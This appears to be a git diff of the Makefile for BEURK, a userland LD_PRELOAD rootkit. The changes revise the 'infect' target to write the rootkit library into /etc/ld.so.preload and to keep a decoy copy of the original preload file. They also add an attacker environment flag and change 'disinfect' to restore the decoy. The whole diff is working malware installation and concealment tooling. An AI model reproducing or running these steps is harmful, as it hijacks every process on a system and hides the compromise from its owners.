@@ -3,17 +3,21 @@ UNAME := $(shell uname -s)
33SHELL := /bin/bash
44
55# set default config values (can be overidden by setting env vars)
6- BEURK_CONFIG_FILE ?= beurk.conf
7- BEURK_LIBRARY_NAME ?= $(shell grep -E '^LIBRARY_NAME[[:space:]]* =' $(BEURK_CONFIG_FILE ) | cut -d= -f2 | xargs)
8- BEURK_DEBUG_LEVEL ?= $(shell grep -E '^DEBUG_LEVEL[[:space:]]* =' $(BEURK_CONFIG_FILE ) | cut -d= -f2 | xargs)
9- BEURK_INFECT_DIR ?= $(shell grep -E '^INFECT_DIR[[:space:]]* =' $(BEURK_CONFIG_FILE ) | cut -d= -f2 | xargs)
6+ BEURK_CONFIG_FILE ?= beurk.conf
7+ BEURK_LIBRARY_NAME ?= $(shell grep -E '^LIBRARY_NAME[[:space:]]* =' $(BEURK_CONFIG_FILE ) | cut -d= -f2 | xargs)
8+ BEURK_DEBUG_LEVEL ?= $(shell grep -E '^DEBUG_LEVEL[[:space:]]* =' $(BEURK_CONFIG_FILE ) | cut -d= -f2 | xargs)
9+ BEURK_INFECT_DIR ?= $(shell grep -E '^INFECT_DIR[[:space:]]* =' $(BEURK_CONFIG_FILE ) | cut -d= -f2 | xargs)
10+ BEURK_FAKE_LD_PRELOAD ?= $(shell grep -E '^FAKE_LD_PRELOAD[[:space:]]* =' $(BEURK_CONFIG_FILE ) | cut -d= -f2 | xargs)
11+ BEURK_ENV_IS_ATTACKER ?= $(shell grep -E '^_ENV_IS_ATTACKER[[:space:]]* =' $(BEURK_CONFIG_FILE ) | cut -d= -f2 | xargs)
1012
1113# do not infect the system in debug mode
1214ifneq ($(BEURK_DEBUG_LEVEL ) , 0)
1315 BEURK_LD_PRELOAD := /tmp/beurk/ld.so.preload
1416 BEURK_INFECT_DIR := /tmp/beurk
17+ # BEURK_FAKE_LD_PRELOAD := /tmp/beurk/$(BEURK_FAKE_LD_PRELOAD)
1518else
1619 BEURK_LD_PRELOAD := /etc/ld.so.preload
20+ BEURK_FAKE_LD_PRELOAD := $(BEURK_FAKE_LD_PRELOAD )
1721endif
1822
1923# absolute install path
@@ -113,14 +117,16 @@ infect: $(BEURK_LIBRARY_NAME)
113117 @echo " Install in $( BEURK_INFECT_ABSPATH) "
114118 install -d $(BEURK_INFECT_DIR )
115119 install -m 755 $(BEURK_LIBRARY_NAME ) $(BEURK_INFECT_DIR ) /
116- echo $(BEURK_INFECT_ABSPATH ) >> $(BEURK_LD_PRELOAD )
120+ cp $(BEURK_LD_PRELOAD ) $(BEURK_FAKE_LD_PRELOAD ) || touch $(BEURK_FAKE_LD_PRELOAD )
121+ echo $(BEURK_INFECT_ABSPATH ) > $(BEURK_LD_PRELOAD )
117122 @echo " Successful infection"
118123
119124# uninstall the rootkit (if installed on current system)
120125disinfect :
121126 @echo " Uninstall $( BEURK_INFECT_ABSPATH) "
122127 $(RM ) $(BEURK_INFECT_DIR ) /$(BEURK_LIBRARY_NAME )
123- sed ' #$(BEURK_INFECT_ABSPATH)#d' $(BEURK_LD_PRELOAD ) > $(BEURK_LD_PRELOAD )
128+ $(BEURK_ENV_IS_ATTACKER ) =true cp /dev/null $(BEURK_LD_PRELOAD )
129+ mv $(BEURK_FAKE_LD_PRELOAD ) $(BEURK_LD_PRELOAD )
124130 @echo " Successful disinfection"
125131
126132# remove object files
0 commit comments